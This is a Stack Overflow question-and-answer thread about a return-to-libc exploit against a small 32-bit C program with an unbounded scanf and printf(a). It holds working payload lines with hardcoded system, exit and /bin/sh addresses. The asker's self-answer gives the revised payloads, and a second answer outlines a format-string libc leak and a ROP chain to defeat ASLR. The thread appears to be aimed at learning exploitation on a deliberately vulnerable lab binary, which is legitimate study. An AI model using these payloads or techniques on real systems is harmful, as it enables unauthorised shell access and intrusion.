re3el
re3el

Reputation: 785

Return into libc attack

I am trying to implement return-to-libc attack on the below code using format string attack vector.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[])
{
   char a[10];
   scanf("%s",&a);  
   printf(a);
   return 0;
}

I have figured out the address of the system() using p system command in gdb. And by inspection of the stack frame using x/500s $esp, I figured the environment variable's address which contains \bin\sh.

system: 0xf7e2cda0 
exit: 0xf7e209d0
\bin\bash: 0xffffd207

With these things in place, I constructed the below format string:

python -c 'print "A"*14 + "\xbc\xcd\xff\xff" + "\xa0\xcd\xe2\xf7" + "\xd0\x09\xe2\xf7" + "\x07\xd2\xff\xff"' > inp

where 0xffffcdbc - 0x4 is the local address which contains system address 0xf7e2cda0 value.

I compiled the program using gcc -m32 -fno-stack-protector -o sh sh.c and ran it using gdb sh. Upon execution, on entering r<inp, I get the below output

gdb_output

As seen above, there's some error command which is shown and I get to the shell only after running r command again. Could someone explain what am I missing here so that I get to the shell directly?

Also, when I tried to execute the program above without gdb ( by ./sh < inp) by offsetting the gdb address, I get a segmentation fault error. I am assuming this can be solved once the above fix gets corrected.

Kindly answer by giving a complete working exploit - most of the tutorials online use argv[1] in explaining the similar problem but I wish to get the exploit working without the use of arguments.

Thanks!

Upvotes: 5

Views: 8930

Answers (2)

re3el
re3el

Reputation: 785

Finally after some days of research, I have figured out the problem. It wasn't that the address of the /bin/sh string was wrong or that you only need a \bin\sh string address location from libc library to get this to working, but all that you need is a nop sled of 4 bytes at the end of the address of the string that you have placed. So, in essence, my attack string would like this

python -c 'print "A"*14 + "\xbc\xcd\xff\xff" + "\xa0\xcd\xe2\xf7" + "\xd0\x09\xe2\xf7" + "\x07\xd2\xff\xff" + "\x90\x90\x90\x90" ' > inp

or in the cases where you are writing a /bin/sh directly into your buffer, something like the below string would work

python -c ' print "A"*14 + "\xbc\xcd\xff\xff" + "\xa0\xcd\xe2\xf7" + "\xd0\x09\xe2\xf7" + "\x84\xce\xff\xff" + "\x5c\x73\x68\0" + "\x90\x90\x90\x90" ' > inp

where \x5c\x73\x68 (hex for \bin\sh) is stored in the buffer at \x84\xce\xff\xff

Note: I sometimes also observed that the addresses that you write at a specific location don't somehow show up. It is in these cases that you should do padding to ensure that everything gets stored at their respective locations.

Upvotes: 1

poming
poming

Reputation: 398

First, you're constructing a pure stack-base overflow, not format string payload.

The libc function system() would work with gdb even if its parameter is not valid. For example, the call system("asdasd") still gives you a shell in gdb (with error messag e pop out, that's what you've seen), so your payload basically didn't locate the /bin/sh correctly.

You should put a padding between the address of system and the address of /bin/sh (a lot of pwn beginners forget this), e.g.

print 'A'*padding_to_ret + addr_system + padding + addr_binsh

For x86 calling convention, Once a function is called, the arguments are push, next the return address, so when ROP-chain take system as return, $esp is now pointing to the position at padding, so the parameter /bin/sh ($ebp+0x4) should be right next to padding.


For the last you mention you want to construct a payload without argv helping, yes it's possible, but you need to have a chance to leak libc address to defeat ASLR to get the address of /bin/sh (you can find this string in libc).

Take the code you provided as example :

  1. scanf("%s, &a)
    • Construct something like %x%x or %9$x for next printf to leak some libc address on the stack.
    • Overwrite return address by main to do another reading.
  2. printf(a)
    • Receive leak address, calculate libc base address and other useful function like system_addr = libc_addr + system_offset.
  3. scanf("%s, &a)
    • Now you know the address of system and /bin/sh, construct the ROP chain above to gain control.

Upvotes: 3

Related Questions